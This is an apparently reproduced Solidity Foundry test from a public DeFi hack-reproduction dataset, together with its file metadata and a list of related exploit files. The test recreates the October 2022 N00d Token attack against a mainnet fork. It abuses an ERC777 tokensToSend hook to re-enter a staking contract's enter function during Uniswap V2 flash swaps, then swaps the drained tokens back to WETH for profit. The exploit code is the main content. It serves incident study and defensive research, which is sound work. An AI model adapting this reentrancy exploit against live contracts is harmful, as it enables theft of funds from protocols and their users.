Public reproduction file
src/test/2022-10/N00d_exp.sol
Public reproduction file for dataset entry N00d Token.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity 0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// Analysis8// https://twitter.com/BlockSecTeam/status/15849592958291804169// https://twitter.com/AnciliaInc/status/158495571787778457610// TX11// https://etherscan.io/tx/0x8037b3dc0bf9d5d396c10506824096afb8125ea96ada011d35faa89fa3893aea13interface sushiBar {14 function enter(15 uint25616 ) external;17 function leave(18 uint25619 ) external;20}22contract ContractTest is Test {23 IERC777 n00d = IERC777(0x2321537fd8EF4644BacDCEec54E5F35bf44311fA);24 Uni_Pair_V2 Pair = Uni_Pair_V2(0x5476DB8B72337d44A6724277083b1a927c82a389);25 IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);26 IERC20 Xn00d = IERC20(0x3561081260186E69369E6C32F280836554292E08);27 sushiBar Bar = sushiBar(0x3561081260186E69369E6C32F280836554292E08);28 ERC1820Registry registry = ERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);29 uint256 i;30 uint256 enterAmount = 0;31 uint256 n00dReserve;33 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);35 function setUp() public {36 cheats.createSelectFork("mainnet", 15_826_379);37 }39 function testExploit() public {40 registry.setInterfaceImplementer(41 address(this), bytes32(0x29ddb589b1fb5fc7cf394961c1adf5f8c6454761adf795e67fe149f658abe895), address(this)42 );43 n00d.approve(address(Bar), type(uint256).max);44 // The swap is performed 4 times.45 int256 j;46 for (j = 1; j < 5; j++) {47 (n00dReserve,,) = Pair.getReserves();48 Pair.swap(n00dReserve - 1e18, 0, address(this), new bytes(1));49 }50 // Now all funds can be swapped back to WETH.51 (n00dReserve,,) = Pair.getReserves();52 Pair.swap(n00dReserve - 1e18, 0, address(this), new bytes(1));53 uint256 amountIn = n00d.balanceOf(address(this));54 (uint256 n00dR, uint256 WETHR,) = Pair.getReserves();55 uint256 amountOut = amountIn * 997 * WETHR / (amountIn * 997 + n00dR * 1000);56 n00d.transfer(address(Pair), amountIn);57 Pair.swap(0, amountOut, address(this), "");59 emit log_named_decimal_uint("Attacker WETH profit after exploit", WETH.balanceOf(address(this)), 18);60 }62 function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {63 // Resetting count to 0 so we perform re-entry twice each time we swap/loan.64 i = 0;65 enterAmount = n00d.balanceOf(address(this)) / 5;66 Bar.enter(enterAmount);67 Bar.leave(Xn00d.balanceOf(address(this)));68 n00d.transfer(address(Pair), n00dReserve * 1000 / 997 + 1000);69 }71 function tokensToSend(72 address operator,73 address from,74 address to,75 uint256 amount,76 bytes calldata userData,77 bytes calldata operatorData78 ) external {79 if (to == address(Bar) && i < 2) {80 i++;81 Bar.enter(enterAmount);82 }83 }85 function tokensReceived(86 address operator,87 address from,88 address to,89 uint256 amount,90 bytes calldata userData,91 bytes calldata operatorData92 ) external {}93}Analysis
Dataset entry
Public Foundry test for “N00d Token” (2022-10-26). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
23 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2022-10/ATK_exp.solSame month in the dataset · 97 lines
- src/test/2022-10/BabySwap_exp.solSame month in the dataset · 134 lines
- src/test/2022-10/BEGO_exp.solSame month in the dataset · 70 lines
- src/test/2022-10/Carrot_exp.solSame month in the dataset · 149 lines
- src/test/2022-10/EFLeverVault_exp.solSame month in the dataset · 92 lines
- src/test/2022-10/HEALTH_exp.solSame month in the dataset · 105 lines
- src/test/2022-10/HPAY_exp.solSame month in the dataset · 150 lines
- src/test/2022-10/INUKO_exp.solSame month in the dataset · 327 lines
- src/test/2022-10/Market_exp.solSame month in the dataset · 339 lines
- src/test/2022-10/MEVa47b_exp.solSame month in the dataset · 126 lines
- src/test/2022-10/MulticallWithoutCheck_exp.solSame month in the dataset · 46 lines
- src/test/2022-10/OlympusDao_exp.solSame month in the dataset · 61 lines
- src/test/2022-10/PLTD_exp.solSame month in the dataset · 67 lines
- src/test/2022-10/RabbyWallet_SwapRouter_exp.solSame month in the dataset · 148 lines
- src/test/2022-10/RES_exp.solSame month in the dataset · 181 lines
- src/test/2022-10/RL_exp.solSame month in the dataset · 128 lines
- src/test/2022-10/TeamFinance_exp.solSame month in the dataset · 274 lines
- src/test/2022-10/Templedao_exp.solSame month in the dataset · 66 lines
- src/test/2022-10/TransitSwap_exp.solSame month in the dataset · 70 lines
- src/test/2022-10/Uerii_exp.solSame month in the dataset · 96 lines
- src/test/2022-10/ULME_exp.solSame month in the dataset · 258 lines
- src/test/2022-10/VTF_exp.solSame month in the dataset · 114 lines
- src/test/2022-10/XaveFinance_exp.solSame month in the dataset · 220 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
File record
- Name
- N00d Token
- Path
- src/test/2022-10/N00d_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 9c46b0d472b216989b83f3363b927d00dc26183d
- Language
- Solidity
- Size
- 94 lines
- Date
- 2022-10-26
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2022-10/N00d_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 9c46b0d472b216989b83f3363b927d00dc26183d, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.